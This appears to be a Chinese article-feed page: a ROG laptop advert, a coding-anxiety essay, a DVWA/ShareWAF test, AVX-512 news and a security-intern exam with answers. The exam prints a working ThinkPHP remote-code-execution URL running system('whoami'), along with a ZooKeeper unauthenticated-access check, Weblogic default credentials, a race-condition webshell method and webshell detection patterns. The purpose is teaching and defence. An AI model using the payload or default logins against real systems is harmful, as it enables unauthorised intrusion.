php参考

游戏本中的贵族!ROG这三款游戏本一定不能错过

一年一次的暑促已经开始了,各大厂家纷纷让利消费者,让消费者以最优惠的价格将自己喜欢的商品抱回家。那么此时对于游戏玩家来说也是非常不错的时机来挑选自己的中意的游戏笔记本了,那么应该选择哪一款游戏笔记本呢?今天给各位玩家推荐三款游戏本,为各位玩家提供一下参考。

01 ROG冰刃4Plus

参考价格:24979元

机型配置:i7-10875H+16G+1T+RTX2070S

ROG冰刃4Plus配备了业界顶级规格的300Hz刷新率的专业电竞屏,响应时间低至3ms。同时搭载了十代酷睿i7-10875H处理器与NVIDIAGeForce RTX2070S显卡,采用液态金属散热的ROG独家冰川散热架构2.0Pro保证了性能的持续稳定,强劲表现开启游戏本新时代。

ROG冰刃4Plus采用的17.3英寸300Hz刷新率的IPS发烧级专业电竞屏,3ms极速响应时间。支持NVIDIA的G-Sync画面防撕裂功能,让玩家尽享高帧数广视角游戏画面的同时,完美消除残影带来的影响,满足专业玩家的电竞需求。屏幕通过Pantone色彩认证,色彩显示更为精准,100%sRGB色域保证游戏画面还原自然,支持ProArt™TruColor技术加持,为游戏世界带来更惊艳的视觉呈现。

ROG冰刃4Plus选用了英特尔十代i7-10875H处理器,基础频率2.3GHz,最大加速频率可达5.1GHz。8核16线程带来越级表现,对比前代i7在多核性能上提升了40%,甚至媲美i9。无论是单核极限输出,还是需要多核协同工作,都有着强劲的性能表现。而对WiFi6(Gig+)的支持,联合ROG专属RangeBoost技术,提升了传输速率与网络稳定性,同时扩大30%信号覆盖范围,让玩家可以安心纵横于虚拟战场。

ROG冰刃4Plus采用的冰川散热架构2.0Pro,加入了液态金属导热科技。相对于传统硅胶散热,可将CPU温度再降10°。薄至0.1mm的冰翼鳍片仅有传统鳍片一半厚度,使得鳍片总数可以提升至220片,辅以6热管4出风口设计,大幅增加散热能力。同时ROG冰刃专属的AAS风洞散热技术,让A盖打开后机身底部自动开启5mm特殊进气口,大幅提升32%进气量。12V双绝尘风扇与除尘通道设计,免除玩家清灰烦恼。下移式键盘与CoolingZone技术结合,机身散热同时保证键盘同样凉爽。暴风增压智能散热系统可以轻松切换三档散热模式,全面满足不同使用需求。

除了强劲的性能外,ROG冰刃4Plus机身仅约18.7mm的厚度。相比传统17寸游戏本,体积减少了约23%,厚度减少40%。在合金材质钻石切割的纤薄机身内,影刃电竞键盘,7.1虚拟环绕声音箱系统,雷电3等全种类I/O接口和PD快充功能一个也不少。奥创游戏智控中心可以轻松掌控软硬件系统状态。从内到外,全面满足玩家对性能与外观的需求。同时ROG冰刃4Plus还会随机赠送GC21独立摄像头,支持1080P的60FPS高清视频摄录功能,配备的降噪麦克风阵列让玩家开黑语音更清晰。折叠后仅17mm大小,便于随身携带。

02 ROG幻14

参考价格:9979元

机型配置:锐龙R7-4800HS 8核 7nm 16G 512GSSD RTX2060MaxQ

ROG幻14整个A面是ROG家族比较经典的斜二分之一设计,其中右上部暗藏玄机。整个右上部有6536个精确穿孔,穿孔下方则是1215个白色miniLED,其可提供256级亮度控制,通过控制这些白色miniLED,则可以让整个右上部成为一块有着8-bit像素风格的屏幕。

ROG幻14提供了足够自由的定制空间。除了内置多个动画效果,比如会闪的ROG“大眼睛”,用户还可以上传自制图片、GIF动图、自定义文字(双排)。这时候就是发挥想象力的时候了,你可以让A面显示“弹幕护体”、“广告位招租”这种比较搞笑的文字,或者胆子再大一点,用来表白也比较有创意。

总结一句话就是,ROG幻14是一款史无前例的轻便且性能强大的个性潮本。最直接的适用人群就是潮流人士,比如DJ、极客等用户群体,当然也适合看重轻便和个性的玩家。

此外,配合NVIDIA Studio驱动,ROG幻14还可以应对很多创作内容,比如创意音视频剪辑、三维设计等,毕竟ROG幻14在屏幕素质、续航和存储方面的优势比较明显。如果觉得光显矩阵屏太过于个性,还可以选择无光显矩阵屏版本。

03 ROG魔霸3

参考价格:10999元

机型配置:9代i7/16G/512G固态 GTX-1660Ti

近年来市场上多见的弧形屏幕,也是为了扩大玩家视野,提升游戏沉浸感的一种尝试,作为一款移动端的笔记本电脑,ROG魔霸3搭载15.6英寸高清电竞屏,采用仅约6mm的窄边框设计,使得屏占比高达80%,让玩家的视野更广阔。144Hz高刷新率及3ms响应时间加持,不仅带来更顺畅的游戏体验,也让玩家的操作更精准,尤其是在《绝地求生》、《守望先锋》等第一人称射击游戏中,能让玩家先知先觉,轻松洞察敌人的动作,率先一步开枪,从而取得游戏胜利,当别人还在用60Hz的刷新率屏幕,你已换上NEXTLEVEL装备,可以接收到倍于旁人的信息时,有什么道理不赢呢?开启“鹰眼”外挂,直入决赛圈,轻松吃鸡~

购买链接:https://item.jd.com/47280867711.html

冷酷依旧,过热?不存在的

ROG魔霸3采用家族式的冰川散热架构,有效解决了散热问题。3D创新仿生进气格栅,特殊铜质散热片仅0.1mm厚度,增大约10%的散热面积,提高散热效率。多铜管双风扇,绝尘风扇可以自动清洁散热系统内的细小杂物,防止散热口堵塞。模式一键切换,就算在超频模式下,散热也毫无压力,从此无需担心工作时宕机损失重要文件,游玩时卡死错失吃鸡良机!

为颜值买单,为信仰充值

外观作为ROG一贯深耕的领域,ROG魔霸3在外观设计也可算是煞费苦心,细腻喷砂与拉丝工艺形成黑、灰撞色A面,搭配ROG专属败家之眼Logo,点燃视野,信仰感爆棚。灵感来源于超跑的独特鸥翼转轴设计,通过气动臂式开启原理创造更强劲的散热性能,实际作用与颜值双开花,隐藏的铰链关节,频繁开合照样Hold得住。

9代i7配合图灵显卡~作为资深游戏玩家的你怎能错过,又有颜值又能打的ROG魔霸3能满足你的所有需求,这波为信仰充的值绝不会亏!

购买链接:https://union-click.jd.com/sem.php?unionId=281&siteid=20170818001&to=https://item.jd.com/47280867711.html

(7483470)

展开
收起

程序员该如何对抗代码焦虑?是时候学习一些技巧了!

全文共4039字,预计学习时长11分钟

图源:unsplash

你觉得编程是一份有压力的工作吗?很多人不这么认为,在一些人眼里,程序员只需要坐在电脑前打字,与医药、银行或会计行业相比,编程既不面临生死攸关的难题,也无需承担重大责任。

但事实证明编码焦虑是真实存在的。我发现许多学生在工作一个多小时后便无法集中注意力,在技术行业找工作的压力让他们筋疲力竭。或许真的有些天赋异禀的人把敲代码当成打游戏,但这种看法其实更多来自不明就里的外行人。你真的有必要学习一些技巧,在必要的时候对抗编码焦虑。

为何编程学习者压力山大?

首先,我们需要深入了解一下造成技术学习者压力的主要原因。我将造成程序员们焦虑的原因概括为三点:

· 骗子综合征。程序员的平均年薪相当高(据Payscale调查,平均年薪为8.6万美元),很多开发人员认为他们的能力与薪资不匹配。团队工作同样让人倍感压力,你总会接触到更聪明、更精通技术的同事,他们有远见,注重细节。上述种种让软件开发人员妄自菲薄,担心会被人认为是冒牌货,倍感压力。

· 并非“真实的程序员”。如果你对技术的兴趣由来已久,那么对“真实的程序员”原型一定不陌生。你经常可以在Facebook群组、Reddit或Stack Overflow上看到这些程序员讲述自己有多勤勉工作,几乎不在意周末或业余时间。

图源:unsplash

外界普遍认为程序员就像工作机器,以至于初学编程者开始怀疑自己:“我无法连续编码8小时,或许软件开发这一职业并不适合我?”斯坦福的一项研究显示,过度工作只会适得其反,每周工作40小时的员工,其工作效率是每周工作60小时的员工的三倍。

· 入行太晚。尽管在我看来只要渴望学习,渴求汲取新技术,编程就无年龄限制,但我的一些学生并不这么认为。任何人在听到14岁天才AI工程师的故事都会感到威胁且受到打击。30岁左右的编程学习者在感受到年轻编程天才的威胁后就开始低估自己的能力,不敢要求更高的薪水。

如果你也在和这些问题做斗争,不要让自己陷入这些情绪里,你得积极主动地面对编码焦虑,提高学习效率。

轻松学习编程的4个技巧

如何让学习编码变得妙趣横生,让人不断学习?如何让自己不因同龄人的成功与失败而心生嫉妒,因此泄气?以下是我的一些经验见解。

1.选择一门主要编程语言

是精通一门编程语言更好,还是成为众多中级程序员中的一员更好,这是软件开发中常见的争论。我个人不介意使用多种语言,但我认为每个程序员都应熟练掌握一种技术。

想想我们说的语言,掌握两三种甚至五种语言的都大有人在。但是,大部分人只精通一种(最多两种)语言,即你思考所用的语言,同朋友聊天所用的语言。在这一点上,编程和语言是相似的,你可以学习多种语言,但得确保自己作为程序员只用一种语言“思考”。

作为一名编程学生,起步阶段应该学习哪种语言呢?从学习资源的数量、就业市场和技术的通用性考虑,我建议编程学员从Java入手。

· Java工作机会遥遥领先。根据全球最大的招聘网站Indeed,Java、Python和 Javascript是首选的编程语言,有着大量职位空缺。

· Java教学资源丰富。初学者常常会因为找不到可信任的学习资源而手足无措,为了确保自己学习的编程语言达到最高行业标准,看看顶尖的大学和学习实践是很有帮助的。

如果你想用学术材料学习,那么学习Java是一个明智的选择,因为许多国家排名前10的计算机科学专业都选择Java作为入门课程的语言(Python数量较少,有13个可用程序)。

· Java开发者薪酬不菲。确保与你所学的编程语言相关的工作报酬丰厚至关重要,薪酬与压力直接挂钩。Java是计算机科学研究中收入最高的领域之一,根据PayScale调查显示,Java开发人员的平均年薪为74000美元。

2.规划自身教育

刚开始学编程的程序员,往往不在其基本概念上下足功夫,就开始学习编程语言。他们太过依赖在网上查找的所有学习内容,这样会直接一塌糊涂。大多数初学者过早开始接触高级概念,很快就因语言太过复杂和自身缺乏进步而受挫。

如果你想在最短时间内成为一名成功的程序员,规划好学习曲线至关重要。那么怎样创建你能真正坚持的高效课程?

图源:unsplash

首先按照复杂度递增的顺序,写下你想学的语言的概念。Java列表如下:

· 基本Java语法

· 主要面向对象概念

· 集合类以及数据结构

· 数据库

· 并发性和多线程

· JVM与记忆管理

· Java生态水平

将这些概念分解为更小的模块,把它作为每日学习的主题。以Java为例,下面是Java语法概念的分解情况:

· 变量

· 数据类型

· If-else计算符

· 循环

· 连续语句和中断语句

由于这篇文章不专讲Java,在这里我就不列出完整课程,网上有许多学习路线图可供自行查看。

为每个模块设立清晰的截止日期,这样便能对完成部分课程所需时间有切实的了解。切忌低估——编程语言概念比你想象的更为复杂。最好设置上限,不要进行一连数小时的压力练习。

3.收集正确资源

对于程序开发学生来说,必须应用在现实中学习所获得的知识是一个主要的崩溃原因。Freecodecamp论坛使用者完美总结出这一焦虑:“每次编程的时候,我就担心有一天我会被其他专业程序员面试。”

图源:unsplash

如果你也害怕自己不具有在工作面试中脱颖而出的特质,那么罪魁祸首可能是你学习的资源。虽然书籍和视频课程对于学习语言本质很重要,但实践同样甚至更重要。在与初级Java开发人员交谈时,我通常建议使用以下资源堆栈:

书籍和教程占总资源的20%,主要用于参考。

据统计,大多数程序员不看书。我能理解原因,大部分书都很无聊且过时,书中所言在脑海中停留不了太久。然而,如果我在项目中遇到困难,我很想知道在找到问题的解决方案时可以参考哪些书籍、文档资源和教程。

在我看来,你不需要一本书接一本书地读,但是读几本书会给你一个坚实的语言理论框架。以下是我最喜欢的Java书籍和参考资料:

书:

· Head First Java——适合初学者,快速了解如何使用语言和语言的基本结构。

· Effective Java——为想要充分利用语言工具集的经验丰富的程序员而编写。

· Java Puzzlers ——关于Java的短板和挑战的真实指南。

教程:

· Java Code Geeks——一个结构良好、与Java相关的文章列表,在开发新项目时可以作为参考,十分方便。

· Java Oracle Tutorials—— 是大多数程序员的参考资源。

· Programming Creek ——一个直观且容易上手的Java教程数据库,绝对值得收藏进最爱名单。

在线课程(深层次了解语言、组合理论和实践)占总资源的30%。

与书籍不同,视频更具实践性且引人入胜。讲师通常以案例研究为特色,分享现实世界的语言应用。此外,还有一些学习平台还可以实现学生与讲师互动,支持学生提问。

虽然在线视频课程给不了足够练习空间,但它们绝对是为你在书中读到的概念建立上下文的坚实方法。以下是我最爱的Java课程:

· Coursera的Object-oriented programming in Java

· Pluralsight的JavaFundamentals

· Udemy的Java ProgrammingFor Complete Beginners

基于实践的平台——占总资源的50%。

编码讲的是熟能生巧,这就是解决现实生活中的问题同从书本和在线课程中学习语法一样重要的原因。我强烈建议你适当花点时间,研究练习赛和平台,这些练习赛和平台可以帮助你更好地掌握你所选择的编程语言。下面是我最爱的Java平台:

· Codegym——一个强大的实践平台,助你成为熟练的Java程序员。有超过1200个练习任务结合简短的讲座,帮助你重温每个问题背后的理论。Codegym涵盖了语言的所有方面,有Java核心、集合、多线程、服务和JSP,甚至数据库处理和SQL。

· HackerRank ——一个容易使用,结构合理的平台,内有Java练习题。这一平台可通过完成小挑战来和别人进行battle,不同复杂级别的任务既能帮助初学者学习,也可以提升高级开发人员水平。

· Codewars是一个社区驱动的Java实践资源,开发人员在这里为彼此创建挑战和实践任务。除了Java,该平台还支持JS、C、C++和其他语言。

4.加入社区

尽管学习编码困难且孤独,你的家人很有可能不会理解你的艰辛。但你可以不是一个人,你可以向同事或同仁寻求帮助。就个人而言,我喜欢Reddit、Freedcodecamp和Stack Overflow,下面是可供参考的编程社区列表:

Reddit:

· r/codetogether

· r/ComputerScience

· r/dailyprogrammer

· r/compsci

· r/java

· r/learnpython

· r/machinelearning

其他平台:

· Freecodecamp forum

· StackOverflow

· GitHub

· PHP Programming Forum

· JavaScript Forums

· Gamedev.net

如果你是编程专业的学生且正在对抗编码焦虑,请记住,你并不孤单。为自己制定明确的目标和计划,以平静的心态对待每一天的学习,找到朋友相互支撑,你会度过这段艰难时期。

留言点赞关注

我们一起分享AI学习与发展的干货

如转载,请后台留言,遵守转载规范

展开
收起

用DVWA实测ShareWAF防护能力

本文将用DVWA搭建测试环境,测试ShareWAF对OWASP常见威胁的防护能力。

如您是ShareWAF的使用者,从中可学习到相关防护的使用方法,也可了解到相应的防护效果。

一、DVWA测试环境搭建

web环境准备,使用phpstudy:

从dvwa官网,下载dvwa源码:

下载后,解压到phpstudy的www目录中:

打开config目,修改config.inc.php.dist为config.inc.php:

同时在phpstudy中创建与config.inc.php中一致的数据库:

启动apache和mysql:

初次访问,安装dvwa:

执行最下方的“Create/Reset Database"。之后dvwa数据库创建成功,并会跳转到登录页。

dvwa测试环境已准备好。

二、ShareWAF部署

从ShareWAF官网下载ShareWAF最新版:

解压:

命令行中,安装依赖:

注:需要先安装好NodeJS,此过程略。

安装非常快,如下图,安装过程:66秒。然后启动ShareWAF:

进入ShareWAF管理员后台,添加测试域名。

注:管理员后台,非域名后台。管理员后台用于添加域名等,域名后台用于配置保护选项。

注意保护目标,使用的是81端口,因为要给SharWAF使用80端口,所以事先需在phpstudy中修改web端口为81:

由于是内网测试,所以需要修改hosts,做本地域名解析:

使用的测试域名是:www.dvwa.com

访问:

看页面中出现了ShareWAF图标,可知已在ShareWAF保护之下。

注:ShareWAF免费使用时有此图标,授权后没有。

接下来就可以进行防护测试了。

三、防护测试

登录DVWA:

SQL注入防护

防护前:

ShareWAF有多重防护,这是前端WAF的防护效果。

可将其关闭,以测试其它防护引擎的防护效果:

如要测试内核防护效果,先需配入防护规则:

注:上图规则为示例。

输入测试指令:

防护前:

防护后,被拦截:

ShareWAF命令行后台,也会看到相关调试信息:

注:拦截时,除前端WAF外,都会在ShareWAF后台有相应的审核日志信息。

XSS防护

防护前:

反射型:

存储型:

防护后:

反映型,未执行:

存储型,未执行:

命令行注入防护

防护前:

注:出现了乱码,不过能看出是返回了执行结果:)

防护后,无返回内容:

后台拦截记录:

文件上传防护

防护前:

防护后:

CSRF防护

防护前:

ShareWAF后台开启“防CSRF”:

防护后:

此外,暴力破解防护,可以使用ShareWAF的变形元素功能,也可使用风控规则限制;

WeakSessionIDS防护、FileInclusion防护等,都同理可进行防护前和防护后的效果对比。

这些,只是ShareWAF的常规防护功能。

ShareWAF的强大功能,如:JS混淆加密、网页源码加密、网页防篡改、反爬虫、前端WAF、反扫描、自定编程防护、大数据防护等并不能通过DVWA进行测试,DVWA不具备测试条件。

如要详细了解,请参考ShareWAF相关文档介绍进行功能实际使用、查看相关的防护效果。

总而言之,ShareWAF有传统防护功能,更有众多创新、实用功能,是一款具备足够先进性的新一代WAF!保护网站安全的新一代神器。

展开
收起

程序员大神Linus转投AMD:我希望英特尔的AVX 512指令集「去死」

机器之心报道

参与:泽南

「去死吧,AVX 512 指令集。」Linux 提出者林纳斯 · 托瓦兹(Linus Torvalds)说道。

Linux 首席架构师,当今全球最著名程序员之一 Linus Torvalds 最近在邮件列表中的言论再次引起一片哗然。

在上周被披露的邮件列表中,有关英特尔将为下一代 CPU 架构 Alder Lake(和 Sapphire Rapids)启用的编译器指令引发了讨论,Linus Torvalds 参与其中。

英特尔的下一代处理器架构 Alder Lake x86 平台或将于 2021 年与人们见面,与突出性能的 AMD 相比,英特尔希望通过和目前手机芯片理念类似的「大小核设计」带来能效上的大幅改进。文档披露了三种 CPU 设计,其中最高的是 125W 的 8 + 8 + 1 配置(8 大核 + 8 低功耗核心 + 核显),其次是 80W 的 8 + 8 + 1 配置,此外有一个 80W 的无小核配置(6 + 0 + 1)。

此前有消息说 Alder Lake 将不支持 AVX512 指令集,只有 AVX2 和其他版本,这可能是因为英特尔在新设计中需要考虑小核的承载能力。不过最近英特尔的内部文件显示,AVX512 等指令将仅限在大核中运行。

图片来自知乎 @JZWSVIC。

有关 AVX512 指令集,Linus 发表了这样的一段言论:

我希望 AVX512 去死,然后英特尔就可以开始去解决实际问题了——而不是试图去创造神奇的指令,然后围绕它寻找基准测试结果让它看起来很好。

我希望英特尔能够回归本源:让他们的进程再次发挥作用,更专注于常规代码,而不是 HPC(高性能计算)或其他意义不大的特例。

在那个时候,除了基准测试,几乎没有人会关心这个问题。

但同样的事发生在 AVX512 上就变得不同了。是的,你可以在这里找到有用的东西,但它们并不符合厂商绘制的宏伟蓝图。

AVX512 有很明显的缺点。我宁愿看到那些晶体管被用于其他更相关的事情。即使同样是用于进行浮点数学运算(通过 GPU 来做,而不是通过 AVX512 在 CPU 上),或者直接给我更多的核心(有着更多单线程性能,而且没有 AVX512 这样的垃圾),就像 AMD 所做的一样。

我希望通过常规的整数代码来达到自己能力的极限,而不是通过 AVX512 这样的功率病毒来达到最高频率(因为人们最终还是会拿它来做 memory-to-memory copy),还占据了核心的很大面积。

没错,我当然有偏见。我非常讨厌浮点数基准测试,而且我意识到现在人们都非常关心这个数据。我只是认为 AVX512 是一个彻头彻尾的错误。这东西让我如鲠在喉。这是英特尔方向搞错的一个很好的例子,可能只会让市场碎片化。

停止这种只适用于特例的垃圾,让所有核心都能实现人们最关心任务的最大性能,然后制造一个足够好的「浮点数核心」来解决特殊问题才是最好的。(在 CPU 上)AVX2 已经足够了。

是的,我就是这么暴躁。

——Linus

Linus 为什么突然对 AVX512 一顿吐槽?一切还得从指令集的作用开始说起。

在计算机中,程序需要编译成指令才能让 CPU 识别并执行运算,指令集是指 CPU 能执行的所有指令的集合,每个指令对应一种操作。指令执行能力是衡量 CPU 性能的重要指标,指令集也与 CPU 效率有密切关系。每种 CPU 都需要一个基本指令集,如英特尔和 AMD 的绝大部分处理器都使用 X86 指令集。

为了提高 CPU 在某些方面的性能,我们必须增加一些特殊的指令满足需求,这些新增的指令就构成了扩展指令集。2008 年,英特尔在 Sandy Bridge 酷睿 CPU 架构推出的同时发布了 AVX 指令集(Advanced Vector Extension,高级矢量扩展指令集),聚焦矢量运算,AVX 很快形成了一套完整的单指令多数据指令集规范,一些版本也得到了 AMD 的支持。

2013 年,英特尔发布了 AVX-512 指令集,其指令宽度扩展为 512bit,每个时钟周期内可打包 32 次双精度或 64 次单精度浮点运算,因此在图像 / 音视频处理、数据分析、科学计算、数据加密和压缩和深度学习等应用场景中,会带来更强大的性能表现,理论上浮点性能翻倍,整数计算则增加约 33% 的性能。

AVX 所代表的单指令多数据(Single Instruction Multi Data,SIMD)指令集,是近年来 CPU 提升 IPC(每时钟周期指令数)上为数不多的重要革新。随着每次数据宽度的提升,CPU 的性能都会大幅提升,但同时晶体管数量和能耗也会有相应的提升。因此在对功耗有较高要求的场景,如笔记本电脑或服务器中,CPU 运行 AVX 应用时需要降低频率从而降低功耗。

随着人工智能应用的兴起,新的 AVX512 指令对于加速 AI 模型的推断显得非常有效,但即使是对于 AI 的推断过程来说,使用 GPU 效率还是比 CPU 高的,不过 GPU 的成本也很高。所以,在技术的发展过程中,消费者和英特尔这样的处理器生产厂商同样面临着道路的选择:是发展 CPU 的 AI 计算能力,还是寻求其他专用芯片,让 CPU 做它「该做」的事?

我们知道,程序员大神 Linus 一生喷人无数,C++、Java、英伟达都没少被他指责过。不过这次,Linus Torvalds 的言论得到了不少人的支持。

「其实这次,Linus 说得对,Intel 当然也知道他说得对,但明知他说得对,(暂时)只能硬着头皮搞下去。」在知乎上,@Pansz 这样评价道。

不仅是说说就算了,Linus 还有自己的实践。早在今年 5 月,Linus 就在一次公开活动中表示自己已改变了十五年来的习惯,转投 AMD 了,他把自己的个人电脑换成了目前的最高配置,32 核心的 Threadripper 3970x。在一些第三方测试中,这款采用 7 纳米制程的 CPU 性能超过了英特尔本世代旗舰产品 Core i9 10980XE。

AMD Zen2 架构的「线程撕裂者」CPU,代表了 AMD 目前消费级处理器的最高水平。

Linus 表示自己用 AMD 芯片替换了原来的英特尔 Core i9 9900K,不得不说这个换装速度有点勤快。「我通常会 DIY 自己的机器,继续用上一台配置的固态硬盘等组件,不过这一次(因为要换主板)我使用了全新的配置,」Linus 说道。

不知几年之后,是 AMD 宣布支持 AVX512,还是英特尔放弃这套指令集?

参考内容:

https://www.phoronix.com/scan.php?page=news_item&px=Linus-Torvalds-On-AVX-512

https://www.zhihu.com/question/406517759

展开
收起

义县游学电子科技:thinkphp6建立view视图模板

thinkphp6模板文件中可以使用一些特殊的模板标签,这些标签的解析通常由模板引擎负责实现。新版不再内置think-template模板引擎,如果需要使用ThinkPHP官方模板引擎,需要单独安装think-view模板引擎驱动扩展。

安装视图模板的指令是:composer require topthink/think-view,不安装这个模板引擎是无法正常使用thinkphp6的.

详情参考http://packagist.p2hp.com/packages/topthink/think-view

展开
收起

安全工程师转正面试题

最近我们公司准备有几个实习生要转正了,领导让我亲自出一些结合实际安全工作的题目,题目的由来都是从工作中遇到过的问题到解决的的过程中产生的。从简单到难的题目,既能考到实习生的知识基础,又能考到他们的学习能力(面对不同未接触过的难题如何去应对),还有就是情景开放式答题,网上能查到一点资料,但是又需要自己思考的,结合实际工作来回答的。好的话不多说,由简至难奉上题目,以及参考答案,希望我的工作经验中发现的问题能帮到大家。

1. Zookeeper默认的端口

三个端口:

2181:对cline端提供服务3888:选举leader使用2888:集群内机器通讯使用(Leader监听此端口)

2. Zookeeper主要的作用:(留言或私信获取链接)

开源的、分布式的、应用程序协调服务

推荐:参考资料1(ZooKeeper是什么)——

参考资料2(ZooKeeper详解) ——

参考资料3(漫画图解ZooKeeper)——

3. Zookeeper 未授权访问的检查方法

telnet zookeeper端口 输入envi,回显路径等信息则存在zookeeper未授权访问漏洞

4. 请列出让客户满意的Zookeeper未授权访问漏洞的修复方案(留言或私信获取链接)

根据客户实际情况可以提供以下修复方案:

禁止将zookeeper暴露在公网使用iptables对端口进行访问控制添加访问控制,根据情况选择对应方式(认证用户,用户名密码)绑定指定IP访问

5. Weblogic后台默认密码

weblogic/weblogic

6. weblogic CVE-2019-2725漏洞描述与让客户满意的修复方案(留言或私信获取链接)

漏洞描述 :由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行。

修复建议 : 官方目前已发布针对此漏洞的紧急修复补丁,可以采取以下4种方式进行防护。

及时打上官方CVE-2019-2725补丁包官方已于4月26日公布紧急补丁包,下载地址:留言或私信获取链接升级本地JDK版本因为Weblogic所采用的是其安装文件中默认1.6版本的JDK文件,属于存在反序列化漏洞的JDK版本,因此升级到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。配置URL访问控制策略部署于公网的WebLogic服务器,可通过ACL禁止对/_async/及/wls-wsat/路径的访问。删除不安全文件删除wls9_async_response.war与wls-wsat.war文件及相关文件夹,并重启Weblogic服务。具体文件路径如下:10.3.*版本:

12.1.3版本:

注:wls9_async_response.war及wls-wsat.war属于一级应用包,对其进行移除或更名操作可能造成未知的后果,Oracle官方不建议对其进行此类操作。若在直接删除此包的情况下应用出现问题,将无法得到Oracle产品部门的技术支持。请用户自行进行影响评估,并对此文件进行备份后,再执行此操作。

6.2

假设现weblogic爆发0day漏洞,weblogic的/vulpath存在漏洞,所有存在http://ip:port/vulpath 路径的系统均受影响,现已完成目标资产的端口扫描,需要你紧急排查受影响资产,请说说你的做法

假设端口扫描时已有版本识别,挑出所有weblogic服务 挑出weblogic服务存在IP+端口地址后,通过url批量检测脚本httpCatcher.py检测出是否存在ip:port/vulpath路径200返回值,返回即为受影响资产

用法为:将IP+端口存在一个ip.txt文件。

然后修改httpCatcher.py的路劲改为/vulpath

输入命令python httpCatcher.py ip.txt 1.csv即可得到1.csv文件,查看即可

7.以下exp是属于哪个cms的远程代码执行漏洞:

http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars1=whoami

路径有关键字 think, 和 PHP ,再使用payload进行查询可知为 thinkphp 中间件 thinkPHP是国产开源的PHP开发框架,中国使用最多

参考资料:留言或私信获取链接

8.流量分析:webshell流量交互的流量特征有哪些(列举3个特征来简略描述)

webshell是用来控制服务器的,在控制服务器的过程中,就会触发许多 系统函数,例如eval、z0(菜刀特征)、shell,需监控这些关键的函数,具体需要查看是哪个网页发起的请求进行鉴别

除此之外,webshell连接可能使用 base64编码,正常功能也会使用base64容易引起误报,一般与eval数量对比,数量差异较小时可能被上传webshell进行编码通讯

除了系统函数、base64编码通讯外,还存在int_set("display_errors","0"), 为webshell流量特征之一

还可以监控ifconfig whoami ipconfig等关键命令,这是获得webshell后基本上都会执行的命令

9.批量检查http服务使用什么工具和简略使用步骤

方法1

直接使用nmapsV.py工具即可,用法为python3 nmapsV.py ip.txt result.txt

方法2

使用nmap工具扫描,带上-sV参数进行版本识别即可,将待检测的IP地址/地址段添加进ip.txt文件中

使用命令nmap -sV -iL ip.txt -oA OUTPUT --no-stylesheet扫出来的结果导出 nmap文件,使用nampReport工具得出结果

10.假设客户给到你有50万个ip,并要求你两周内做完全端口扫描,你会如何应对或如何实施(从两方面回答:1.如何对客户要求做出解释并合理调整。2.如何提高全端口扫描效率,既保证速度,又保证准确率)

首先客户提出提出两周50w个ip全端口这个肯定不现实,所以要考虑跟客户解释,有必要对扫描任务进行时间调整,安排尽可能多的扫描资源,如扫描机器,扫描网络带宽等 ,参考扫描100个IP端口的平均时长,估计扫完的时间,给出30天时间左右答复,并且留出一周进行后续补扫,文档整理等

使用到 多线程分布式和 高并发 ,采用masscan + nmap 先masscan存活过一遍,把未存活IP剔除掉;使用分布式nmap高并发过一遍端口,也可以massacn端口扫描过一遍,在nmap进行探测

提高扫描速度由于IP数量过多,不能直接把所有的IP都丢上去扫,时间肯定不够 可以跟客户商量减少IP数量,对未存活的IP进行筛选过滤 加快扫描速度需要进行参数微调,如--min-hostgroup、--min-rate和--min-parallelism 对于存在防火墙的情况,可以提出需要提供扫描器,最好的墙内扫

数据整理对于大量的list和json使用python-nmap python-masscan,扫描1个IP处理1个IP

不推荐做法

老油条混子做法:行,没问题,别说五十万个了五百万个都能完成,接活的时候明确的说时间紧,任务重,可能会存在误报,问客户接不接受,接受了就开始扫。 masscan先过一遍,过滤掉一批死ip和只有80,443,8080,8443,等web的 然后高并发,分布式nmap过一批常用端口,把有结果的过滤出来 然后把没结果再跑一遍全端口,交差 后面扯皮的时候也能扯,前期也明确说了存在误报

`

11. 存活性探测的简要步骤

使用nmap工具进行存活性探测 使用nmap,命令nmap -sP -n -iL ip.txt -oA OUTPUT --no-stylesheet在Linux中使用cat OUTPUT.gnmap |grep Up |awk ‘{print $2}’ > ip_cunhuo.tx即可得到存活IP

12. 条件竞争漏洞原理与举例

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

举个例子,很多web程序都会有上传文件的功能,头像和图像等,服务器肯定会检查文件是否满足条件,不满足的要被删除 那么问题就在于,如果我们采用大量的并发请求,就传递一个生成恶意webshell的图像,访问它就可以生成webshell。在上传完成和安全检查完成并删除它的间隙,攻击者通过不断地发起访问请求的方法访问了该文件,该文件就会被执行,并且在服务器上生成一个恶意shell的文件。至此,该文件的任务就已全部完成,至于后面发现它是一个不安全的文件并把它删除的问题都已经不重要了,因为攻击者已经成功的在服务器中植入了一个shell文件,后续的一切就都不是问题了。

参考链接留言或私信获取

13.假设客户中了GhostPetya勒索病毒向你咨询解决方案,请描述需要告诉他应该做些什么,如何去应急处置和善后补救

13.1 未部署端点安全的终端应急解决方案

1.做好重要文件的备份工作(非本地备份)。

2.开启系统防火墙。

3.利用系统防火墙高级设置阻止向445端口进行连接(该操作会影响使用445端口的服务)。

4.打开系统自动更新,并检测更新进行安装。

5.停止使用Windows XP、Windows 2003等微软已不再提供安全更新的操作系统。

6.如无需使用共享服务建议关闭该服务。

13.2 已部署端点安全的终端应急解决方案

1.如果用户已经部署终端管理类产品,可通过终端管理软件进行内网打补丁。

2.通过主机防火墙关闭入栈流量。主机防火墙关闭到445出栈流量。

3.开启文件审计,只允许word.exe,explorer.exe等对文件访问。

13.3 已经感染应急解决方案

1.断开网络连接,阻止进一步扩散。优先检查未感染主机的漏洞状况(可直接联系网御星云公司,提供免费检测工具使用),做好漏洞加固工作后方可恢复网络连接。

2.已经感染终端,根据终端数据类型决定处置方式,如果重新安装系统则建议完全格式化硬盘、使用新操作系统、完善操作系统补丁、通过检查确认无相关漏洞后再恢复网络连接。

预防措施

打补丁:及时给系统打补丁,修复漏洞。

装杀软:安装杀毒软件,及时更新病毒库。开启防火墙,并升级到最新版本,阻止勒索病毒与其C&C服务器通信。

做备份:定期对重要文件以及数据库做非本地备份。电脑开启系统备份,并添加保护(这样可通过卷影备份将系统恢复到被加密之前的状态)。

